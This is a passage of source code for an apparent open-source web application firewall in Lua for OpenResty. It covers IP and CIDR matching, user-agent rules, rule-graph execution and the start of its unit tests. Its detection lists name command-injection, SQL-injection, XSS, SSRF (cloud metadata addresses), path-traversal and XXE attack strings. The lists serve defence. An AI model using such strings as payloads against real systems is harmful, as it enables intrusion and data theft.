||||
local function ipv6_in_preparsed(ip_groups, cidr)
|
||||
local full_groups, remaining_bits = math.floor(cidr.bits / 16), cidr.bits % 16
|
||||
for index = 1, full_groups do
|
||||
if ip_groups[index] ~= cidr.groups[index] then return false end
|
||||
end
|
||||
if remaining_bits > 0 then
|
||||
local size = 2 ^ (16 - remaining_bits)
|
||||
local index = full_groups + 1
|
||||
if math.floor(ip_groups[index] / size) ~= math.floor(cidr.groups[index] / size) then
|
||||
return false
|
||||
end
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
-- Prefer resty.ipmatcher (C radix). Fallback: exact hash + pre-parsed CIDR list only.
|
||||
local resty_ipmatcher
|
||||
local resty_ipmatcher_loaded = false
|
||||
|
||||
local function load_resty_ipmatcher()
|
||||
if resty_ipmatcher_loaded then return resty_ipmatcher end
|
||||
resty_ipmatcher_loaded = true
|
||||
local ok, mod = pcall(require, "resty.ipmatcher")
|
||||
if ok and type(mod) == "table" and type(mod.new) == "function" then
|
||||
resty_ipmatcher = mod
|
||||
else
|
||||
resty_ipmatcher = nil
|
||||
end
|
||||
return resty_ipmatcher
|
||||
end
|
||||
|
||||
local empty_ip_matcher = {
|
||||
empty = true,
|
||||
match = function() return false end,
|
||||
}
|
||||
|
||||
local function compile_fallback_ip_matcher(entries)
|
||||
local exact, cidrs = {}, {}
|
||||
for _, item in ipairs(entries) do
|
||||
if string.find(item, "/", 1, true) then
|
||||
local parsed = preparse_cidr(item)
|
||||
if parsed then cidrs[#cidrs + 1] = parsed end
|
||||
else
|
||||
exact[item] = true
|
||||
local v6 = parse_ipv6(item)
|
||||
if v6 then exact["v6:" .. ipv6_key(v6)] = true end
|
||||
end
|
||||
end
|
||||
return {
|
||||
empty = false,
|
||||
match = function(_, ip, _bin, ip_v4, ip_v6)
|
||||
if exact[ip] then return true end
|
||||
if ip_v6 and exact["v6:" .. ipv6_key(ip_v6)] then return true end
|
||||
if not ip_v4 and not ip_v6 then
|
||||
ip_v4 = parse_ipv4(ip)
|
||||
if not ip_v4 then ip_v6 = parse_ipv6(ip) end
|
||||
end
|
||||
for _, cidr in ipairs(cidrs) do
|
||||
if cidr.kind == "v4" and ip_v4 and ipv4_in_preparsed(ip_v4, cidr) then
|
||||
return true
|
||||
end
|
||||
if cidr.kind == "v6" and ip_v6 and ipv6_in_preparsed(ip_v6, cidr) then
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
end,
|
||||
}
|
||||
end
|
||||
|
||||
local function compile_ip_matcher(entries)
|
||||
local list = {}
|
||||
for _, item in ipairs(array_or_empty(entries)) do
|
||||
if type(item) == "string" and item ~= "" then
|
||||
list[#list + 1] = item
|
||||
end
|
||||
end
|
||||
if #list == 0 then return empty_ip_matcher end
|
||||
|
||||
local mod = load_resty_ipmatcher()
|
||||
if mod then
|
||||
local matcher, err = mod.new(list)
|
||||
if matcher then
|
||||
return {
|
||||
empty = false,
|
||||
match = function(_, ip, bin_ip)
|
||||
if bin_ip and matcher.match_bin then
|
||||
local ok = matcher:match_bin(bin_ip)
|
||||
if ok then return true end
|
||||
end
|
||||
return matcher:match(ip) == true
|
||||
end,
|
||||
}
|
||||
end
|
||||
warn_rate_limited("_ipmatcher_new_failed", "openflare waf ipmatcher.new failed: ", err)
|
||||
end
|
||||
return compile_fallback_ip_matcher(list)
|
||||
end
|
||||
|
||||
local node_ip_matcher_cache = setmetatable({}, { __mode = "k" })
|
||||
|
||||
local function matcher_for_node_ip_config(config)
|
||||
config = config or {}
|
||||
local cached = node_ip_matcher_cache[config]
|
||||
if cached then return cached end
|
||||
local entries = {}
|
||||
for _, item in ipairs(array_or_empty(config.ips)) do entries[#entries + 1] = item end
|
||||
for _, item in ipairs(array_or_empty(config.cidrs)) do entries[#entries + 1] = item end
|
||||
local matcher = compile_ip_matcher(entries)
|
||||
node_ip_matcher_cache[config] = matcher
|
||||
return matcher
|
||||
end
|
||||
|
||||
local function matcher_for_ip_group(group)
|
||||
if type(group) ~= "table" then return empty_ip_matcher end
|
||||
if group._matcher then return group._matcher end
|
||||
group._matcher = compile_ip_matcher(group.ip_list)
|
||||
return group._matcher
|
||||
end
|
||||
|
||||
local function matches_ip_values(config, ip)
|
||||
if type(ip) ~= "string" or ip == "" then return false end
|
||||
local bin_ip = ngx.var and ngx.var.binary_remote_addr or nil
|
||||
local ip_v4, ip_v6
|
||||
-- Parse client IP once for pure-Lua fallback CIDR/exact-v6 paths.
|
||||
if not load_resty_ipmatcher() then
|
||||
ip_v4 = parse_ipv4(ip)
|
||||
if not ip_v4 then ip_v6 = parse_ipv6(ip) end
|
||||
end
|
||||
|
||||
local node_matcher = matcher_for_node_ip_config(config)
|
||||
if not node_matcher.empty and node_matcher:match(ip, bin_ip, ip_v4, ip_v6) then
|
||||
return true
|
||||
end
|
||||
|
||||
local snapshot = ip_groups_config or (ip_groups_runtime and ip_groups_runtime.current())
|
||||
local groups = (snapshot or {}).groups or {}
|
||||
for _, id in ipairs(array_or_empty(config.ip_group_ids)) do
|
||||
local group = groups[tostring(id)]
|
||||
if group and group.enabled then
|
||||
local matcher = matcher_for_ip_group(group)
|
||||
if matcher:match(ip, bin_ip, ip_v4, ip_v6) then return true end
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
local function ua_trim(value)
|
||||
return (string.gsub(value or "", "^%s*(.-)%s*$", "%1"))
|
||||
end
|
||||
|
||||
local function ua_label_set(items)
|
||||
if type(items) ~= "table" then return nil, false end
|
||||
local set, count = {}, 0
|
||||
for _, item in ipairs(items) do
|
||||
set[tostring(item)] = true
|
||||
count = count + 1
|
||||
end
|
||||
return set, count > 0
|
||||
end
|
||||
|
||||
local function match_ua_rules(ua_lower, rules, fallback)
|
||||
if ua_lower == "" then return "Unknown" end
|
||||
for _, rule in ipairs(rules) do
|
||||
local matched = false
|
||||
for _, token in ipairs(rule.contains or {}) do
|
||||
if string.find(ua_lower, token, 1, true) then
|
||||
matched = true
|
||||
break
|
||||
end
|
||||
end
|
||||
if not matched and type(rule.all_of) == "table" and #rule.all_of > 0 then
|
||||
matched = true
|
||||
for _, token in ipairs(rule.all_of) do
|
||||
if not string.find(ua_lower, token, 1, true) then
|
||||
matched = false
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
if matched then
|
||||
local excluded = false
|
||||
for _, token in ipairs(rule.none_of or {}) do
|
||||
if string.find(ua_lower, token, 1, true) then
|
||||
excluded = true
|
||||
break
|
||||
end
|
||||
end
|
||||
if not excluded then return rule.label end
|
||||
end
|
||||
end
|
||||
return fallback
|
||||
end
|
||||
|
||||
-- Mirrors internal/repository/analytics/browser.go browserRules / osRules.
|
||||
local browser_rules = {
|
||||
{ label = "WeChat", contains = { "micromessenger" } },
|
||||
{ label = "Postman", contains = { "postman" } },
|
||||
{ label = "CLI", contains = { "curl/", "wget/" } },
|
||||
{ label = "Edge", contains = { "edg/", "edgios/", "edga/" } },
|
||||
{ label = "Opera", contains = { "opr/", "opera" } },
|
||||
{ label = "Firefox", contains = { "firefox", "fxios" } },
|
||||
{ label = "Chrome", contains = { "crios", "chrome" }, none_of = { "chromium" } },
|
||||
{ label = "Chromium", contains = { "chromium" } },
|
||||
{ label = "Safari", contains = { "safari" } },
|
||||
{ label = "Bot", contains = { "bot", "spider", "crawler", "slurp" } },
|
||||
}
|
||||
|
||||
local os_rules = {
|
||||
{ label = "Android", contains = { "android" } },
|
||||
{ label = "iOS", contains = { "iphone", "ipad", "ipod", "ios" } },
|
||||
{ label = "Windows", contains = { "windows" } },
|
||||
{ label = "macOS", contains = { "mac os x", "macintosh", "macos" } },
|
||||
{ label = "Chrome OS", contains = { "cros" } },
|
||||
{ label = "Linux", contains = { "linux" } },
|
||||
{ label = "Bot", contains = { "bot", "spider", "crawler" } },
|
||||
}
|
||||
|
||||
local function parse_browser_name_lower(ua_lower)
|
||||
return match_ua_rules(ua_lower, browser_rules, "Other")
|
||||
end
|
||||
|
||||
local function parse_os_name_lower(ua_lower)
|
||||
return match_ua_rules(ua_lower, os_rules, "Other")
|
||||
end
|
||||
|
||||
local function ua_matches_custom_patterns(ua, patterns)
|
||||
for _, pattern in ipairs(array_or_empty(patterns)) do
|
||||
if type(pattern) == "string" and pattern ~= "" then
|
||||
local ok, matched = pcall(function()
|
||||
return string.find(ua, pattern) ~= nil
|
||||
end)
|
||||
if ok and matched then return true end
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
local function matches_ua_check(config)
|
||||
config = config or {}
|
||||
local ua = ua_trim(ngx.var.http_user_agent or "")
|
||||
if config.require_ua and ua == "" then return false end
|
||||
local ua_lower = string.lower(ua)
|
||||
local browser = parse_browser_name_lower(ua_lower)
|
||||
local os_name = parse_os_name_lower(ua_lower)
|
||||
if config.block_common_bots and (browser == "Bot" or os_name == "Bot") then return false end
|
||||
-- Abnormal excludes search-engine / crawler Bot labels; use block_common_bots for those.
|
||||
if config.block_abnormal_ua and (browser == "Other" or browser == "Unknown") then
|
||||
return false
|
||||
end
|
||||
if config.block_custom_ua and ua_matches_custom_patterns(ua, config.custom_ua_patterns) then
|
||||
return false
|
||||
end
|
||||
local browser_set, has_browsers = ua_label_set(config.browsers)
|
||||
local os_set, has_os = ua_label_set(config.operating_systems)
|
||||
if not has_browsers and not has_os then return true end
|
||||
local browser_ok = has_browsers and browser_set[browser] == true
|
||||
local os_ok = has_os and os_set[os_name] == true
|
||||
if has_browsers and not has_os then return browser_ok end
|
||||
if has_os and not has_browsers then return os_ok end
|
||||
local mode = config.match_mode
|
||||
if mode ~= "and" and mode ~= "or" then mode = "or" end
|
||||
if mode == "and" then return browser_ok and os_ok end
|
||||
return browser_ok or os_ok
|
||||
end
|
||||
|
||||
local security_body_max = 65536
|
||||
|
||||
local function url_decode(value)
|
||||
value = string.gsub(value or "", "+", " ")
|
||||
value = string.gsub(value, "%%(%x%x)", function(hex)
|
||||
return string.char(tonumber(hex, 16))
|
||||
end)
|
||||
return value
|
||||
end
|
||||
|
||||
local function security_decode(value)
|
||||
local once = url_decode(value)
|
||||
local twice = url_decode(once)
|
||||
return string.lower(once), string.lower(twice)
|
||||
end
|
||||
|
||||
local function security_match_any(haystacks, patterns)
|
||||
for _, hay in ipairs(haystacks) do
|
||||
if type(hay) == "string" and hay ~= "" then
|
||||
for _, pattern in ipairs(patterns) do
|
||||
if string.find(hay, pattern, 1, true) then return true end
|
||||
end
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
-- SQL sleep/benchmark: require digit arg to avoid product names like sleep(better).
|
||||
local function security_match_sql_timed(haystacks)
|
||||
for _, hay in ipairs(haystacks) do
|
||||
if type(hay) == "string" and hay ~= "" then
|
||||
if string.find(hay, "sleep(%d", 1, true) or string.find(hay, "benchmark(%d", 1, true) then
|
||||
return true
|
||||
end
|
||||
-- Also accept sleep( 1 ) with optional spaces: sleep( + digit
|
||||
local i = 1
|
||||
while true do
|
||||
local s, e = string.find(hay, "sleep(", i, true)
|
||||
if not s then break end
|
||||
local rest = string.sub(hay, e + 1)
|
||||
if string.match(rest, "^%s*%d") then return true end
|
||||
i = e + 1
|
||||
end
|
||||
i = 1
|
||||
while true do
|
||||
local s, e = string.find(hay, "benchmark(", i, true)
|
||||
if not s then break end
|
||||
local rest = string.sub(hay, e + 1)
|
||||
if string.match(rest, "^%s*%d") then return true end
|
||||
i = e + 1
|
||||
end
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
-- XSS: tag/event handlers and URI schemes; skip prose like "javascript: the good parts".
|
||||
local function security_match_xss(haystacks)
|
||||
local tag_like = { "<script", "<iframe", "onerror=", "onload=", "onmouseover=", "document.cookie" }
|
||||
for _, hay in ipairs(haystacks) do
|
||||
if type(hay) == "string" and hay ~= "" then
|
||||
for _, pattern in ipairs(tag_like) do
|
||||
if string.find(hay, pattern, 1, true) then return true end
|
||||
end
|
||||
-- javascript: as URI scheme with code-like body (alert/void/'/") not prose titles.
|
||||
local i = 1
|
||||
while true do
|
||||
local s, e = string.find(hay, "javascript:", i, true)
|
||||
if not s then break end
|
||||
local prev_ok = (s == 1) or string.match(string.sub(hay, s - 1, s - 1), "[=\"'(<;,]")
|
||||
if prev_ok then
|
||||
local rest = string.sub(hay, e + 1)
|
||||
if string.match(rest, "^%s*[\"'`(]")
|
||||
or string.match(rest, "^%s*alert%s*%(")
|
||||
or string.match(rest, "^%s*void%s*%(")
|
||||
or string.match(rest, "^%s*eval%s*%(")
|
||||
or string.match(rest, "^%s*window%.")
|
||||
or string.match(rest, "^%s*document%.") then
|
||||
return true
|
||||
end
|
||||
end
|
||||
i = e + 1
|
||||
end
|
||||
if string.find(hay, "eval(", 1, true) then
|
||||
local _, e = string.find(hay, "eval(", 1, true)
|
||||
local rest = string.sub(hay, e + 1)
|
||||
if string.match(rest, "^%s*[\"'`(]") then return true end
|
||||
end
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
local function security_append_decoded(list, value)
|
||||
if type(value) ~= "string" or value == "" then return end
|
||||
local once, twice = security_decode(value)
|
||||
list[#list + 1] = once
|
||||
if twice ~= once then list[#list + 1] = twice end
|
||||
end
|
||||
|
||||
local function security_collect_args(list)
|
||||
if not ngx.req or not ngx.req.get_uri_args then
|
||||
security_append_decoded(list, ngx.var.args or "")
|
||||
return
|
||||
end
|
||||
local args = ngx.req.get_uri_args(100)
|
||||
if type(args) ~= "table" then return end
|
||||
for key, value in pairs(args) do
|
||||
security_append_decoded(list, tostring(key))
|
||||
if type(value) == "table" then
|
||||
for _, item in ipairs(value) do security_append_decoded(list, tostring(item)) end
|
||||
else
|
||||
security_append_decoded(list, tostring(value))
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
-- Only Cookie / Referer for injection surfaces. Generic browser headers (UA, Accept, …)
|
||||
-- are high-volume and high false-positive / CPU cost if scanned for SQL/cmd/XSS.
|
||||
local function security_collect_sensitive_headers(list)
|
||||
local cookie = ngx.var.http_cookie
|
||||
if type(cookie) == "string" and cookie ~= "" then
|
||||
security_append_decoded(list, cookie)
|
||||
end
|
||||
local referer = ngx.var.http_referer
|
||||
if type(referer) == "string" and referer ~= "" then
|
||||
security_append_decoded(list, referer)
|
||||
end
|
||||
end
|
||||
|
||||
local function security_read_body()
|
||||
local content_length = tonumber(ngx.var.content_length or "") or 0
|
||||
if content_length <= 0 or content_length > security_body_max then return nil end
|
||||
if not ngx.req or not ngx.req.read_body or not ngx.req.get_body_data then return nil end
|
||||
local ok = pcall(ngx.req.read_body)
|
||||
if not ok then return nil end
|
||||
local body = ngx.req.get_body_data()
|
||||
if type(body) ~= "string" or body == "" then return nil end
|
||||
return body
|
||||
end
|
||||
|
||||
local path_traversal_patterns = {
|
||||
"../", "..\\", "..%2f", "..%5c", "%2e%2e/", "%2e%2e\\", "%252e%252e",
|
||||
"....//", "/etc/passwd",
|
||||
}
|
||||
local file_inclusion_patterns = {
|
||||
"php://", "file://", "zip://", "data://text", "expect://", "/etc/passwd",
|
||||
"/proc/self", "%00",
|
||||
}
|
||||
-- Prefer attack-shaped tokens; avoid bare "&&"/"||" and bare shell names.
|
||||
local command_patterns = {
|
||||
";wget", ";curl", ";bash", ";sh ", "|bash", "|sh ", "|sh\t", "`id`", "$(id)",
|
||||
"&&wget", "&&curl", "&&bash", "&&sh ", "||wget", "||curl", "||bash",
|
||||
"/bin/sh ", "/bin/bash ", "cmd.exe /c", "powershell -", "powershell.exe",
|
||||
}
|
||||
-- URL-shaped only: bare "localhost"/"0.0.0.0" match Chrome UA / normal text.
|
||||
local ssrf_patterns = {
|
||||
"http://127.0.0.1", "https://127.0.0.1", "http://localhost", "https://localhost",
|
||||
"http://0.0.0.0", "https://0.0.0.0", "http://[::1]", "https://[::1]",
|
||||
"://169.254.", "169.254.169.254", "metadata.google",
|
||||
"file://", "gopher://", "dict://",
|
||||
}
|
||||
local upload_patterns = {
|
||||
".php.", ".jsp.", ".asp.", ".aspx.", ".phtml", ".phar",
|
||||
"application/x-php", "application/x-httpd-php",
|
||||
}
|
||||
local xxe_patterns = {
|
||||
"<!entity", " system \"", " system '", "file://",
|
||||
}
|
||||
-- Keep encoded CRLF; bare %0a alone is too common in benign encoded text.
|
||||
local crlf_patterns = {
|
||||
"%0d%0a", "\r\n",
|
||||
}
|
||||
local sql_static_patterns = {
|
||||
"union select", " or 1=1", "' or '", "\" or \"",
|
||||
"information_schema", "xp_cmdshell", "load_file(", " into outfile",
|
||||
"/**/", "/*!", "*/--", "@@version",
|
||||
}
|
||||
|
||||
local function security_flag_enabled(value)
|
||||
return value == true or value == 1 or value == "true" or value == "1"
|
||||
end
|
||||
|
||||
local function security_append_list(dst, src)
|
||||
for _, item in ipairs(src) do dst[#dst + 1] = item end
|
||||
end
|
||||
|
||||
local function matches_security_check(config)
|
||||
config = config or {}
|
||||
local sql_injection = security_flag_enabled(config.sql_injection)
|
||||
local path_traversal = security_flag_enabled(config.path_traversal)
|
||||
local command_injection = security_flag_enabled(config.command_injection)
|
||||
local xss = security_flag_enabled(config.xss)
|
||||
local ssrf = security_flag_enabled(config.ssrf)
|
||||
local file_inclusion = security_flag_enabled(config.file_inclusion)
|
||||
local malicious_upload = security_flag_enabled(config.malicious_upload)
|
||||
local xxe = security_flag_enabled(config.xxe)
|
||||
local crlf_injection = security_flag_enabled(config.crlf_injection)
|
||||
if not (sql_injection or path_traversal or command_injection or xss or ssrf
|
||||
or file_inclusion or malicious_upload or xxe or crlf_injection) then
|
||||
return true
|
||||
end
|
||||
|
||||
-- Collect only what enabled checks need (P1). Path uses uri only (not request_uri)
|
||||
-- to avoid re-scanning query; query is collected separately when needed (P0).
|
||||
local need_path = path_traversal or file_inclusion
|
||||
local need_query = path_traversal or file_inclusion or sql_injection or command_injection
|
||||
or xss or ssrf or crlf_injection
|
||||
local need_sensitive_headers = sql_injection or command_injection or xss or ssrf or crlf_injection
|
||||
local need_body = malicious_upload or xxe
|
||||
or ((sql_injection or path_traversal or command_injection or xss or ssrf
|
||||
or file_inclusion or crlf_injection)
|
||||
and (tonumber(ngx.var.content_length or "") or 0) > 0)
|
||||
|
||||
local path_inputs, query_inputs, header_inputs, body_inputs = {}, {}, {}, {}
|
||||
if need_path then
|
||||
security_append_decoded(path_inputs, ngx.var.uri or "")
|
||||
end
|
||||
if need_query then
|
||||
security_collect_args(query_inputs)
|
||||
end
|
||||
if need_sensitive_headers then
|
||||
security_collect_sensitive_headers(header_inputs)
|
||||
end
|
||||
|
||||
local body
|
||||
if need_body then body = security_read_body() end
|
||||
if body then security_append_decoded(body_inputs, body) end
|
||||
|
||||
if path_traversal or file_inclusion then
|
||||
local pq = {}
|
||||
security_append_list(pq, path_inputs)
|
||||
security_append_list(pq, query_inputs)
|
||||
security_append_list(pq, body_inputs)
|
||||
if path_traversal and security_match_any(pq, path_traversal_patterns) then return false end
|
||||
if file_inclusion and security_match_any(pq, file_inclusion_patterns) then return false end
|
||||
end
|
||||
|
||||
if sql_injection or command_injection or xss or ssrf or crlf_injection then
|
||||
local qhb = {}
|
||||
security_append_list(qhb, query_inputs)
|
||||
security_append_list(qhb, header_inputs)
|
||||
security_append_list(qhb, body_inputs)
|
||||
if sql_injection then
|
||||
if security_match_any(qhb, sql_static_patterns) or security_match_sql_timed(qhb) then
|
||||
return false
|
||||
end
|
||||
end
|
||||
if command_injection and security_match_any(qhb, command_patterns) then return false end
|
||||
if xss and security_match_xss(qhb) then return false end
|
||||
if ssrf and security_match_any(qhb, ssrf_patterns) then return false end
|
||||
if crlf_injection and security_match_any(qhb, crlf_patterns) then return false end
|
||||
end
|
||||
|
||||
if malicious_upload and body then
|
||||
local content_type = string.lower(ngx.var.content_type or "")
|
||||
if string.find(content_type, "multipart/", 1, true) then
|
||||
if security_match_any(body_inputs, upload_patterns) then return false end
|
||||
end
|
||||
end
|
||||
if xxe and body then
|
||||
local content_type = string.lower(ngx.var.content_type or "")
|
||||
if string.find(content_type, "xml", 1, true) or string.find(string.lower(body), "<?xml", 1, true) then
|
||||
if security_match_any(body_inputs, xxe_patterns) then return false end
|
||||
end
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
local function fail_closed(reason)
|
||||
local dict = ngx.shared and ngx.shared.openflare_waf_config
|
||||
if not dict or not dict.add or dict:add("_damaged_graph_logged", true, 60) then
|
||||
ngx.log(ngx.ERR, "openflare waf damaged runtime graph: ", reason)
|
||||
end
|
||||
ngx.ctx.openflare_waf_blocked = true
|
||||
ngx.status = 500
|
||||
ngx.header["Content-Type"] = "text/plain; charset=utf-8"
|
||||
ngx.say("OpenFlare WAF runtime error")
|
||||
return ngx.exit(500)
|
||||
end
|
||||
|
||||
local function render_block(config)
|
||||
config = config or {}
|
||||
local status = tonumber(config.status_code) or 403
|
||||
ngx.ctx.openflare_waf_blocked = true
|
||||
ngx.status = status
|
||||
local body = config.response_body or ""
|
||||
if body ~= "" then
|
||||
ngx.header["Content-Type"] = "text/html; charset=utf-8"
|
||||
ngx.say(body)
|
||||
end
|
||||
return ngx.exit(status)
|
||||
end
|
||||
|
||||
local function execute_graph(graph)
|
||||
if type(graph) ~= "table" or type(graph.nodes) ~= "table" or type(graph.entry) ~= "string" then
|
||||
return nil, "invalid graph"
|
||||
end
|
||||
local node_count = 0
|
||||
for _ in pairs(graph.nodes) do node_count = node_count + 1 end
|
||||
local current = graph.entry
|
||||
for _ = 1, node_count do
|
||||
local node = graph.nodes[current]
|
||||
if type(node) ~= "table" or type(node.type) ~= "string" then
|
||||
return nil, "missing node " .. tostring(current)
|
||||
end
|
||||
if node.type == "allow" then
|
||||
return { kind = "allow" }
|
||||
end
|
||||
if node.type == "block" then
|
||||
return { kind = "block", config = node.config }
|
||||
end
|
||||
local handle
|
||||
if node.type == "start" then
|
||||
handle = "next"
|
||||
elseif node.type == "ip_match" then
|
||||
handle = matches_ip_values(node.config or {}, ngx.var.remote_addr or "") and "true" or "false"
|
||||
elseif node.type == "geo_match" then
|
||||
local config = node.config or {}
|
||||
local region_required = type(config.regions) == "table" and #config.regions > 0
|
||||
local country, region = geo_lookup(ngx.var.remote_addr or "", region_required)
|
||||
handle = (list_contains(config.countries, country) or list_contains(config.regions, region)) and "true" or "false"
|
||||
elseif node.type == "ua_check" then
|
||||
handle = matches_ua_check(node.config or {}) and "true" or "false"
|
||||
elseif node.type == "security_check" then
|
||||
handle = matches_security_check(node.config or {}) and "true" or "false"
|
||||
elseif node.type == "pow" then
|
||||
if pow_runtime.evaluate(node.config or {}) ~= true then
|
||||
return { kind = "takeover" }
|
||||
end
|
||||
handle = "next"
|
||||
else
|
||||
return nil, "unknown node type " .. node.type
|
||||
end
|
||||
if type(node.next) ~= "table" or type(node.next[handle]) ~= "string" then
|
||||
return nil, "missing " .. handle .. " edge from " .. current
|
||||
end
|
||||
current = node.next[handle]
|
||||
end
|
||||
return nil, "graph exceeded maximum steps"
|
||||
end
|
||||
|
||||
local function active_rules(site)
|
||||
local by_id, result = {}, {}
|
||||
for _, rule in ipairs(array_or_empty(rules_config.rule_groups)) do
|
||||
by_id[tostring(rule.id)] = rule
|
||||
if rule.enabled and rule.is_global then result[#result + 1] = rule end
|
||||
end
|
||||
for _, binding in ipairs(array_or_empty(rules_config.bindings)) do
|
||||
if binding.site_name == site then
|
||||
for _, id in ipairs(array_or_empty(binding.rule_group_ids)) do
|
||||
local rule = by_id[tostring(id)]
|
||||
if rule and rule.enabled and not rule.is_global then result[#result + 1] = rule end
|
||||
end
|
||||
break
|
||||
end
|
||||
end
|
||||
return result
|
||||
end
|
||||
|
||||
local function is_internal_pow_continuation()
|
||||
if not ngx.req or not ngx.req.is_internal or not ngx.req.is_internal() then return false end
|
||||
local uri = ngx.var.uri or ""
|
||||
local api_prefix = "/.within.website/x/cmd/anubis/api/"
|
||||
local static_prefix = "/.within.website/x/cmd/anubis/static/"
|
||||
return string.sub(uri, 1, #api_prefix) == api_prefix or string.sub(uri, 1, #static_prefix) == static_prefix
|
||||
end
|
||||
|
||||
function _M.check()
|
||||
if not rules_config then
|
||||
return fail_closed("runtime not initialized")
|
||||
end
|
||||
if is_internal_pow_continuation() then
|
||||
ngx.ctx.openflare_pow_takeover = true
|
||||
return
|
||||
end
|
||||
for _, rule in ipairs(active_rules(ngx.var.openflare_waf_site or "")) do
|
||||
local decision, err = execute_graph(rule.graph)
|
||||
if not decision then return fail_closed(err) end
|
||||
if decision.kind == "block" then return render_block(decision.config) end
|
||||
if decision.kind == "takeover" then return end
|
||||
end
|
||||
return "ok"
|
||||
end
|
||||
|
||||
-- Test helpers for unit specs.
|
||||
function _M.debug_security_check(config)
|
||||
return matches_security_check(config or {})
|
||||
end
|
||||
|
||||
function _M.debug_active_rules(site)
|
||||
return active_rules(site or "")
|
||||
end
|
||||
|
||||
function _M.debug_execute_graph(graph)
|
||||
return execute_graph(graph)
|
||||
end
|
||||
|
||||
function _M.debug_compile_ip_matcher(entries)
|
||||
return compile_ip_matcher(entries)
|
||||
end
|
||||
|
||||
function _M.debug_matches_ip_values(config, ip)
|
||||
return matches_ip_values(config or {}, ip or "")
|
||||
end
|
||||
|
||||
return _M
|
||||
@@ -0,0 +1,964 @@
|
||||
local runtime_path = assert(WAF_RUNTIME_PATH, "WAF_RUNTIME_PATH is required")
|
||||
|
||||
local function assert_equal(actual, expected, message)
|
||||
if actual ~= expected then
|
||||
error((message or "values differ") .. ": expected " .. tostring(expected) .. ", got " .. tostring(actual), 2)
|
||||
end
|
||||
end
|
||||
|
||||
-- Stable tables: never rebind `output` (closures capture the upvalue slot; rebinding
|
||||
-- can leave stale fields visible under gopher-lua across long test sequences).
|
||||
local output = {}
|
||||
local pow_calls = {}
|
||||
local pow_results = {}
|
||||
local shared_keys = {}
|
||||
local logs = {}
|
||||
|
||||
local function clear_output()
|
||||
output.exit = nil
|
||||
output.body = nil
|
||||
output.log = nil
|
||||
end
|
||||
|
||||
ngx = {
|
||||
WARN = "WARN",
|
||||
ERR = "ERR",
|
||||
var = {},
|
||||
ctx = {},
|
||||
header = {},
|
||||
shared = {
|
||||
openflare_waf_config = {
|
||||
add = function(_, key)
|
||||
if shared_keys[key] then return false end
|
||||
shared_keys[key] = true
|
||||
return true
|
||||
end,
|
||||
},
|
||||
},
|
||||
req = { is_internal = function() return ngx.var.openflare_internal == true end },
|
||||
say = function(body) output.body = body end,
|
||||
exit = function(status) output.exit = status return status end,
|
||||
log = function(_, ...)
|
||||
local parts = { ... }
|
||||
for index, value in ipairs(parts) do parts[index] = tostring(value) end
|
||||
output.log = table.concat(parts)
|
||||
logs[#logs + 1] = output.log
|
||||
end,
|
||||
}
|
||||
|
||||
local pow_stub = {}
|
||||
function pow_stub.evaluate(config)
|
||||
pow_calls[#pow_calls + 1] = config.difficulty
|
||||
local result = pow_results[1]
|
||||
table.remove(pow_results, 1)
|
||||
return result
|
||||
end
|
||||
|
||||
local function node(node_type, config, next_nodes)
|
||||
return { type = node_type, config = config or {}, next = next_nodes }
|
||||
end
|
||||
|
||||
local function graph(nodes, entry)
|
||||
return { entry = entry or "start", nodes = nodes }
|
||||
end
|
||||
|
||||
local function rule(id, is_global, rule_graph)
|
||||
return { id = id, enabled = true, is_global = is_global or false, graph = rule_graph }
|
||||
end
|
||||
|
||||
local function start_to(target)
|
||||
return node("start", {}, { next = target })
|
||||
end
|
||||
|
||||
local function load_runtime(config, options)
|
||||
local chunk = assert(loadfile(runtime_path))
|
||||
local runtime = chunk()
|
||||
options = options or {}
|
||||
runtime.init({
|
||||
config = config,
|
||||
ip_groups = options.ip_groups or { groups = {} },
|
||||
pow = pow_stub,
|
||||
geo_lookup = options.geo_lookup,
|
||||
runtime_dir = options.runtime_dir,
|
||||
geo_file_exists = options.geo_file_exists,
|
||||
country_mmdb_path = options.country_mmdb_path or (options.runtime_dir and (options.runtime_dir .. "/GeoLite2-Country.mmdb") or nil),
|
||||
city_mmdb_path = options.city_mmdb_path or (options.runtime_dir and (options.runtime_dir .. "/GeoLite2-City.mmdb") or nil),
|
||||
})
|
||||
return runtime
|
||||
end
|
||||
|
||||
local function reset_request(site, ip, uri, is_internal, user_agent)
|
||||
local path = uri or "/"
|
||||
ngx.var = {
|
||||
openflare_waf_site = site,
|
||||
remote_addr = ip or "192.0.2.1",
|
||||
uri = path,
|
||||
request_uri = path,
|
||||
request_id = "request-1",
|
||||
openflare_internal = is_internal == true,
|
||||
http_user_agent = user_agent,
|
||||
}
|
||||
ngx.ctx = {}
|
||||
ngx.header = {}
|
||||
ngx.status = nil
|
||||
clear_output()
|
||||
pow_calls = {}
|
||||
pow_results = {}
|
||||
ngx.req = {
|
||||
is_internal = function() return is_internal == true end,
|
||||
get_uri_args = function() return {} end,
|
||||
get_headers = function() return {} end,
|
||||
}
|
||||
end
|
||||
|
||||
local function binding(site, ids)
|
||||
return { site_name = site, rule_group_ids = ids }
|
||||
end
|
||||
|
||||
local function test_ip_true_and_false()
|
||||
local config = {
|
||||
rule_groups = { rule(1, false, graph({
|
||||
start = start_to("match"),
|
||||
match = node("ip_match", { ips = { "192.0.2.1" }, cidrs = { "198.51.100.0/24" }, ip_group_ids = { 7 } }, { ["true"] = "blocked", ["false"] = "allow" }),
|
||||
blocked = node("block", { status_code = 451, response_body = "ip blocked" }),
|
||||
allow = node("allow"),
|
||||
})) },
|
||||
bindings = { binding("ip-site", { 1 }) },
|
||||
}
|
||||
local runtime = load_runtime(config, { ip_groups = { groups = { ["7"] = { enabled = true, ip_list = { "203.0.113.7" } } } } })
|
||||
|
||||
reset_request("ip-site", "192.0.2.1")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 451, "exact IP true branch")
|
||||
|
||||
reset_request("ip-site", "198.51.100.8")
|
||||
runtime.check()
|
||||
